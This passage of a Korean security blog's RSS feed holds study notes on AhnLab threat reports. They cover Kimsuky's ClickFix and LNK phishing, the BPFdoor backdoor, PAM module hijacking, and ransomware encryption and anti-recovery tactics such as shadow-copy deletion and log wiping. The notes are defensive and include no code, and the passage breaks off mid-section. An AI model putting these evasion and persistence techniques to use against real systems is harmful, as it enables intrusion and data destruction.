&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot; data-start=&quot;119&quot; data-end=&quot;140&quot;&gt;&lt;b&gt;2. APT 공격&amp;middot;사회공학 기법&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot; data-start=&quot;141&quot; data-end=&quot;547&quot;&gt;
&lt;li data-start=&quot;141&quot; data-end=&quot;184&quot;&gt;&lt;b&gt;공격 단계&lt;/b&gt;: 정보 수집 &amp;rarr; 접근 확보 &amp;rarr; 권한 상승 &amp;rarr; 지속성 확보&lt;/li&gt;
&lt;li data-start=&quot;185&quot; data-end=&quot;547&quot;&gt;&lt;b&gt;주요 특징&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot; data-start=&quot;199&quot; data-end=&quot;547&quot;&gt;
&lt;li data-start=&quot;199&quot; data-end=&quot;247&quot;&gt;&lt;b&gt;사회공학&lt;/b&gt;: 사용자의 심리를 이용한 초기 접근 (클릭 유도, 보안 경고 위장)&lt;/li&gt;
&lt;li data-start=&quot;250&quot; data-end=&quot;547&quot;&gt;&lt;b&gt;ClickFix 기법&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot; data-start=&quot;274&quot; data-end=&quot;547&quot;&gt;
&lt;li data-start=&quot;274&quot; data-end=&quot;326&quot;&gt;피해자가 보안 경고&amp;middot;알림창을 클릭해 PowerShell 등 명령을 직접 실행하도록 유도&lt;/li&gt;
&lt;li data-start=&quot;331&quot; data-end=&quot;351&quot;&gt;OS 취약점 없이도 공격 가능&lt;/li&gt;
&lt;li data-start=&quot;356&quot; data-end=&quot;400&quot;&gt;다국어 PDF, 난독화, 스케줄러 등록 등으로 탐지 회피 및 지속성 확보&lt;/li&gt;
&lt;li data-start=&quot;405&quot; data-end=&quot;547&quot;&gt;&lt;b&gt;악성코드 및 도구&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot; data-start=&quot;425&quot; data-end=&quot;547&quot;&gt;
&lt;li data-start=&quot;425&quot; data-end=&quot;448&quot;&gt;BabyShark : Kimsuky의 대표 스크립트 기반 악성코드 시리즈&lt;/li&gt;
&lt;li data-start=&quot;425&quot; data-end=&quot;448&quot;&gt;.vbs 악성 스크립트 : C2연결, 정보 수집 및 스케줄러 등록 기능 포함&lt;/li&gt;
&lt;li data-start=&quot;455&quot; data-end=&quot;471&quot;&gt;.lnk 파일(Edge 아이콘 위장) : 사용자 클릭 유도용 단축 실행 파일, 즉 사회 공학 기법&lt;/li&gt;
&lt;li data-start=&quot;478&quot; data-end=&quot;513&quot;&gt;AutoIt 스크립트 (HncUpdateTray.exe) : 사용자 정보 탈취 목적 실행 파일&lt;/li&gt;
&lt;li data-start=&quot;520&quot; data-end=&quot;547&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;QuasarRAT : ClickFix 캠페인에서 최종적으로 사용된 원격 제어&amp;middot;정보 탈취 악성코드.&lt;br /&gt;.vbs, .lnk, AutoIt 스크립트는 QuasarRAT을 설치&amp;middot;실행하거나, 정보 탈취&amp;middot;사용자 유도 등 보조 기능을 수행하는 단계별 도구로 활용됨.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-start=&quot;185&quot; data-end=&quot;547&quot;&gt;&lt;span style=&quot;color: #333333; text-align: left;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;b&gt;결론&lt;/b&gt;&lt;/span&gt;: 북한의 APT 그룹 Kimsuky는 ClickFix 기법을 이용해 사용자가 Powershell 명령을&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;직접 입력하도록 유도하는 전술을 수행했다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot; data-start=&quot;554&quot; data-end=&quot;588&quot;&gt;&lt;b&gt;3 .LNK 활용 공격 (Spear Phishing)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot; data-start=&quot;589&quot; data-end=&quot;848&quot;&gt;
&lt;li data-start=&quot;589&quot; data-end=&quot;697&quot;&gt;&lt;b&gt;공격 흐름&lt;/b&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot; data-start=&quot;605&quot; data-end=&quot;697&quot;&gt;
&lt;li data-start=&quot;605&quot; data-end=&quot;621&quot;&gt;사용자가 LNK 클릭&lt;/li&gt;
&lt;li data-start=&quot;624&quot; data-end=&quot;657&quot;&gt;PowerShell 명령 실행 &amp;rarr; CAB 압축 해제&lt;/li&gt;
&lt;li data-start=&quot;660&quot; data-end=&quot;697&quot;&gt;악성 스크립트 자동 실행 &amp;rarr; 정보 탈취&amp;middot;추가 악성코드 설치&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li data-start=&quot;698&quot; data-end=&quot;743&quot;&gt;&lt;b&gt;디코이 파일&lt;/b&gt;: 정상 문서처럼 위장, 공격 성공 후 열려도 영향 없음&lt;/li&gt;
&lt;li data-start=&quot;744&quot; data-end=&quot;848&quot;&gt;&lt;b&gt;보안적 시사&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot; data-start=&quot;759&quot; data-end=&quot;848&quot;&gt;
&lt;li data-start=&quot;759&quot; data-end=&quot;786&quot;&gt;확장자 확인 (.doc.lnk 형태 주의)&lt;/li&gt;
&lt;li data-start=&quot;789&quot; data-end=&quot;812&quot;&gt;PowerShell 실행 정책 제한&lt;/li&gt;
&lt;li data-start=&quot;815&quot; data-end=&quot;848&quot;&gt;개인 PC는 .ps1, .vbs 실행 전 반드시 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 data-end=&quot;1101&quot; data-start=&quot;1084&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;4. BPFdoor 공격&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1286&quot; data-start=&quot;1102&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1221&quot; data-start=&quot;1102&quot;&gt;&lt;b&gt;공격 과정&lt;/b&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;1221&quot; data-start=&quot;1116&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;1143&quot; data-start=&quot;1116&quot;&gt;BPF 필터 등록&amp;nbsp;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1143&quot; data-start=&quot;1116&quot;&gt;커널에 특정 조건(IP, 매직 패턴)만 허용하는 필터 심기&lt;/li&gt;
&lt;li data-end=&quot;1143&quot; data-start=&quot;1116&quot;&gt;조건에 맞는 패킷만 백도어로 전달&lt;/li&gt;
&lt;li data-end=&quot;1143&quot; data-start=&quot;1116&quot;&gt;조건에 맞는 패킷만 백도어로 전달하고, 나머지는 무시하여 시스템과 보안 솔루션에는 포트가 닫혀 있는 것처럼 인식&lt;/li&gt;
&lt;li data-end=&quot;1143&quot; data-start=&quot;1116&quot;&gt;&lt;b&gt;핵심:&lt;/b&gt; 커널 영역에서 처리되므로 포트 열림 여부와 관계없이 은폐 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;1172&quot; data-start=&quot;1146&quot;&gt;매직 넘버 포함 패킷 수신 시 공격자 인식
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1172&quot; data-start=&quot;1146&quot;&gt;필터 조건을 만족하는 패킷 도착 시 백도어 활성화&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;1193&quot; data-start=&quot;1175&quot;&gt;리버스 커넥션으로 C2 연결
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1193&quot; data-start=&quot;1175&quot;&gt;포트 개방 여부와 상관없이 공격자와 연결하여 원격 명령 수행 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;1193&quot; data-start=&quot;1175&quot;&gt;원격 명령 실행 (포트 개방 여부 무관)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;533&quot; data-start=&quot;503&quot;&gt;데이터 수집, 시스템 제어, 추가 악성코드 설치&lt;/li&gt;
&lt;li data-end=&quot;554&quot; data-start=&quot;537&quot;&gt;흔적 최소화, 은폐 지속&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li data-end=&quot;1286&quot; data-start=&quot;1222&quot;&gt;&lt;b&gt;특징&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1286&quot; data-start=&quot;1233&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1255&quot; data-start=&quot;1233&quot;&gt;커널 수준에서 패킷 필터링 &amp;rarr; 탐지 어려움&lt;/li&gt;
&lt;li data-end=&quot;1286&quot; data-start=&quot;1258&quot;&gt;은폐 + 선택적 응답 + 자동화가 핵심 전략&lt;/li&gt;
&lt;li data-end=&quot;1286&quot; data-start=&quot;1258&quot;&gt;포트 스캔이나 일반 트래픽 분석만으로는 백도어 존재를 알기 어려움&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 data-end=&quot;1320&quot; data-start=&quot;1293&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;5. PAM 악성 모듈&amp;middot;Preload 공격&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1590&quot; data-start=&quot;1321&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1363&quot; data-start=&quot;1321&quot;&gt;&lt;b&gt;PAM 개요&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;231&quot; data-start=&quot;211&quot;&gt;리눅스&lt;b&gt;&amp;middot;&lt;/b&gt;유닉스 인증 프레임워크&lt;/li&gt;
&lt;li data-end=&quot;277&quot; data-start=&quot;232&quot;&gt;su, sudo, sshd 등 서비스별 인증 로직을 &lt;b&gt;모듈화하여 처리&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;327&quot; data-start=&quot;278&quot;&gt;서비스 프로그램은 PAM 모듈에게 &amp;ldquo;이 사용자가 인증 가능한가?&amp;rdquo;라는 요청만 전달&lt;/li&gt;
&lt;li data-end=&quot;368&quot; data-start=&quot;328&quot;&gt;모듈 내부에서 실제 인증 정보 확인 &amp;rarr; 서비스는 파일 접근 불필요&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;1469&quot; data-start=&quot;1364&quot;&gt;&lt;b&gt;공격 유형&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1469&quot; data-start=&quot;1378&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1417&quot; data-start=&quot;1378&quot;&gt;&lt;b&gt;모듈 교체&lt;/b&gt;: 정상 PAM 모듈을 악성코드로 대체, 설정 수정&lt;/li&gt;
&lt;li data-end=&quot;1469&quot; data-start=&quot;1420&quot;&gt;&lt;b&gt;Preload 후킹&lt;/b&gt;: 파일 변경 없이 라이브러리 강제 로드 &amp;rarr; 인증 정보 탈취&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;1590&quot; data-start=&quot;1470&quot;&gt;&lt;b&gt;대응&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1590&quot; data-start=&quot;1481&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1510&quot; data-start=&quot;1481&quot;&gt;&lt;b&gt;모듈 무결성확인&lt;/b&gt; :&amp;nbsp; /lib/security/ 모듈 해시값 정기 점검&lt;/li&gt;
&lt;li data-end=&quot;1537&quot; data-start=&quot;1513&quot;&gt;&lt;b&gt;설정 변경 감시&lt;/b&gt; : /etc/pam.d/ 설정 변경 모니터링&lt;/li&gt;
&lt;li data-end=&quot;1558&quot; data-start=&quot;1540&quot;&gt;&lt;b&gt;계정 활동 감사&lt;/b&gt; : root 계정 사용 이력 감사&lt;/li&gt;
&lt;li data-end=&quot;1590&quot; data-start=&quot;1561&quot;&gt;&lt;b&gt;EDR 이벤트 활용&lt;/b&gt; : EDR에서 PAM 모듈 등록 이벤트 알림 활용&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 data-end=&quot;1613&quot; data-start=&quot;1597&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;6. 현대 공격 트렌드&lt;/b&gt;&lt;/h3&gt;
&lt;div&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;1754&quot; data-start=&quot;1614&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center; width: 21.1628%;&quot;&gt;시대&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 25.3488%;&quot;&gt;대표 공격 방식&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 53.3721%;&quot;&gt;특징&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1675&quot; data-start=&quot;1642&quot;&gt;
&lt;td style=&quot;text-align: center; width: 21.1628%;&quot; data-col-size=&quot;sm&quot; data-end=&quot;1651&quot; data-start=&quot;1642&quot;&gt;2000년대 초&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 25.3488%;&quot;&gt;DDOS, 웹 사이트 deface(낙서)&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 53.3721%;&quot; data-col-size=&quot;sm&quot; data-end=&quot;1675&quot; data-start=&quot;1651&quot;&gt;&lt;span&gt;&lt;span&gt;단순 과시&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;서비스 불능 유도&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1710&quot; data-start=&quot;1676&quot;&gt;
&lt;td style=&quot;text-align: center; width: 21.1628%;&quot; data-col-size=&quot;sm&quot; data-end=&quot;1685&quot; data-start=&quot;1676&quot;&gt;2010년대&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 25.3488%;&quot;&gt;랜섬웨어, 정보 탈취형 APT&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 53.3721%;&quot; data-col-size=&quot;sm&quot; data-end=&quot;1710&quot; data-start=&quot;1685&quot;&gt;&lt;span&gt;&lt;span&gt;금전적 동기 본격화&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1754&quot; data-start=&quot;1711&quot;&gt;
&lt;td style=&quot;text-align: center; width: 21.1628%;&quot; data-col-size=&quot;sm&quot; data-end=&quot;1720&quot; data-start=&quot;1711&quot;&gt;2020년대&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 25.3488%;&quot;&gt;공급망 공격, 내부망 장기 침투&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 53.3721%;&quot; data-col-size=&quot;sm&quot; data-end=&quot;1754&quot; data-start=&quot;1720&quot;&gt;&lt;span&gt;&lt;span&gt;은밀히 침투 &lt;/span&gt;&lt;span&gt;&amp;rarr; &lt;/span&gt;&lt;span&gt;정보&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt;금전&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt;지적재산 빼가기&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1867&quot; data-start=&quot;1756&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1867&quot; data-start=&quot;1756&quot;&gt;&lt;b&gt;전략 변화 이유&lt;/b&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;1867&quot; data-start=&quot;1773&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;1801&quot; data-start=&quot;1773&quot;&gt;탐지 회피 : 정상 트래픽&amp;middot;정상 프로세스 위장&lt;/li&gt;
&lt;li data-end=&quot;1830&quot; data-start=&quot;1804&quot;&gt;장기 침투 : 수개월~1년 이상 내부 잠복&lt;/li&gt;
&lt;li data-end=&quot;1867&quot; data-start=&quot;1833&quot;&gt;경제적 효율 : 데이터 탈취&amp;middot;지적재산 유출이 더 큰 가치&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot; data-start=&quot;1597&quot; data-end=&quot;1613&quot;&gt;&lt;b&gt;7. 참고 자료&amp;nbsp;&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span&gt;ASEC(AhnLab Security Intelligence Center) - APT 공격&lt;/span&gt;&lt;span&gt;&amp;nbsp;동향 보고서&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;ASEC - 클릭픽스와 bpfdoor까지, 25년 사이버 위협 동향&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Security</category>
      <category>안랩 #Ahnlab #시큐리티 레터 #분석 #랜섬웨어 #ransomware #보안 #정보보안</category>
      <author>천천히, 한 걸음씩</author>
      <guid isPermaLink="true">https://jaehyun60.tistory.com/102</guid>
      <comments>https://jaehyun60.tistory.com/102#entry102comment</comments>
      <pubDate>Sun, 28 Sep 2025 12:02:25 +0900</pubDate>
    </item>
    <item>
      <title>현대 랜섬웨어 동향과 보안 시사점</title>
      <link>https://jaehyun60.tistory.com/101</link>
      <description>&lt;h3 data-end=&quot;241&quot; data-start=&quot;228&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. 랜섬웨어 개요&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;572&quot; data-start=&quot;243&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;313&quot; data-start=&quot;243&quot;&gt;&lt;b&gt;정의&lt;/b&gt;: 랜섬웨어는 피해자로부터 금전을 요구하기 위해 데이터를 암호화하거나 시스템 접근을 차단하는 악성 프로그램.&lt;/li&gt;
&lt;li data-end=&quot;375&quot; data-start=&quot;314&quot;&gt;&lt;b&gt;공격 과정&lt;/b&gt;:
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;375&quot; data-start=&quot;331&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;375&quot; data-start=&quot;331&quot;&gt;사전 침투 &amp;rarr; 2. 정보 수집 &amp;rarr; 3. 대상 지정 &amp;rarr; 4. 맞춤형 배포&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li data-end=&quot;526&quot; data-start=&quot;376&quot;&gt;&lt;b&gt;공통 특징&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;526&quot; data-start=&quot;393&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;416&quot; data-start=&quot;393&quot;&gt;섀도 복사본 삭제(vssadmin)&lt;/li&gt;
&lt;li data-end=&quot;439&quot; data-start=&quot;419&quot;&gt;RDP/DB 관련 서비스 중지&lt;/li&gt;
&lt;li data-end=&quot;475&quot; data-start=&quot;442&quot;&gt;일부 예외 폴더/확장자 제외, 최근 파일 우선 암호화&lt;/li&gt;
&lt;li data-end=&quot;526&quot; data-start=&quot;478&quot;&gt;DLS(Dedicated Leak Site)를 통한 피해 데이터 공개 협박 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;572&quot; data-start=&quot;527&quot;&gt;&lt;b&gt;목표&lt;/b&gt;: 피해자로부터 금전을 요구하고, 복호화 가능성을 공격자가 통제&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 data-end=&quot;596&quot; data-start=&quot;579&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. 언더그라운드 랜섬웨어&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;842&quot; data-start=&quot;598&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;733&quot; data-start=&quot;598&quot;&gt;&lt;b&gt;암호화 방식&lt;/b&gt;: AES 대칭키로 파일 암호화 &amp;rarr; AES 키를 RSA 공개키로 암호화 (하이브리드 암호화)
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;733&quot; data-start=&quot;666&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;701&quot; data-start=&quot;666&quot;&gt;AES 키는 파일 끝(Tail)에 삽입, 메타데이터 포함&lt;/li&gt;
&lt;li data-end=&quot;733&quot; data-start=&quot;704&quot;&gt;파일마다 키가 달라 같은 평문도 암호문이 다름&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;842&quot; data-start=&quot;734&quot;&gt;&lt;b&gt;특징&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;842&quot; data-start=&quot;748&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;774&quot; data-start=&quot;748&quot;&gt;피해 복구 방해 및 분석 회피 기능 내장&lt;/li&gt;
&lt;li data-end=&quot;818&quot; data-start=&quot;777&quot;&gt;맞춤형 배포, 최근 파일 우선 암호화, 일부 예외 폴더/확장자 제외&lt;/li&gt;
&lt;li data-end=&quot;842&quot; data-start=&quot;821&quot;&gt;DLS 운영으로 2차 협박 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 data-end=&quot;868&quot; data-start=&quot;849&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3. DireWolf 랜섬웨어&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1127&quot; data-start=&quot;870&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;903&quot; data-start=&quot;870&quot;&gt;&lt;b&gt;목표&lt;/b&gt;: 특정 파일 빠르게 암호화 후 자기 삭제&lt;/li&gt;
&lt;li data-end=&quot;980&quot; data-start=&quot;904&quot;&gt;&lt;b&gt;공격 과정&lt;/b&gt;: Mutex 체크 &amp;rarr; 워커풀 생성 &amp;rarr; 병렬 처리 &amp;rarr; 파일 암호화 &amp;rarr; 후처리(마커 파일, 재부팅, 프로세스 종료)&lt;/li&gt;
&lt;li data-end=&quot;1045&quot; data-start=&quot;981&quot;&gt;&lt;b&gt;암호화 방식&lt;/b&gt;: 난수 개인키 + 하드코딩된 공개키, CURVE 키 교환 &amp;rarr; AES 대칭키로 파일 암호화&lt;/li&gt;
&lt;li data-end=&quot;1127&quot; data-start=&quot;1046&quot;&gt;&lt;b&gt;특징&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1127&quot; data-start=&quot;1060&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1091&quot; data-start=&quot;1060&quot;&gt;스트라이프 방식 적용, 파일 크기별 전략적 암호화&lt;/li&gt;
&lt;li data-end=&quot;1127&quot; data-start=&quot;1094&quot;&gt;분석 및 복구 방해 기능 내장, 자기 삭제 루틴 포함&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 data-end=&quot;1152&quot; data-start=&quot;1134&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;4. 랜섬웨어 진화 및 유형&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1475&quot; data-start=&quot;1154&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1204&quot; data-start=&quot;1154&quot;&gt;&lt;b&gt;초기형&lt;/b&gt;: CryptoLocker &amp;ndash; 개별 PC 파일 암호화, 단순 금전 요구&lt;/li&gt;
&lt;li data-end=&quot;1249&quot; data-start=&quot;1205&quot;&gt;&lt;b&gt;네트워크 전파형&lt;/b&gt;: WannaCry &amp;ndash; 자동 감염, 산업 규모 피해&lt;/li&gt;
&lt;li data-end=&quot;1475&quot; data-start=&quot;1250&quot;&gt;&lt;b&gt;유형별 특징&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1475&quot; data-start=&quot;1268&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1300&quot; data-start=&quot;1268&quot;&gt;Crypto Ransomware: 파일/DB 암호화&lt;/li&gt;
&lt;li data-end=&quot;1339&quot; data-start=&quot;1303&quot;&gt;Locker Ransomware: 화면 잠금, 심리적 압박&lt;/li&gt;
&lt;li data-end=&quot;1379&quot; data-start=&quot;1342&quot;&gt;Hybrid Ransomware: 파일 암호화 + 부팅 차단&lt;/li&gt;
&lt;li data-end=&quot;1422&quot; data-start=&quot;1382&quot;&gt;Double Extortion: 데이터 암호화 + 외부 유출 협박&lt;/li&gt;
&lt;li data-end=&quot;1475&quot; data-start=&quot;1425&quot;&gt;RaaS(Ransomware-as-a-Service): 툴 임대/판매, 범죄 산업화&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 data-end=&quot;1496&quot; data-start=&quot;1482&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;5. 고급 공격 전략&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1618&quot; data-start=&quot;1498&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1510&quot; data-start=&quot;1498&quot;&gt;복원 지점 제거&lt;/li&gt;
&lt;li data-end=&quot;1529&quot; data-start=&quot;1511&quot;&gt;예약 백업/메타데이터 삭제&lt;/li&gt;
&lt;li data-end=&quot;1554&quot; data-start=&quot;1530&quot;&gt;WinRE 비활성화, 부팅 복구 차단&lt;/li&gt;
&lt;li data-end=&quot;1571&quot; data-start=&quot;1555&quot;&gt;주요 이벤트 로그 삭제&lt;/li&gt;
&lt;li data-end=&quot;1618&quot; data-start=&quot;1572&quot;&gt;백업/DB 운영/윈도우 업데이트/가상화 서비스 종료 &amp;rarr; 모니터링&amp;middot;보안 무력화&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 data-end=&quot;1646&quot; data-start=&quot;1625&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;6. 대응 전략 (KISA 기준)&lt;/b&gt;&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;1732&quot; data-start=&quot;1648&quot; data-ke-list-type=&quot;decimal&quot;&gt;
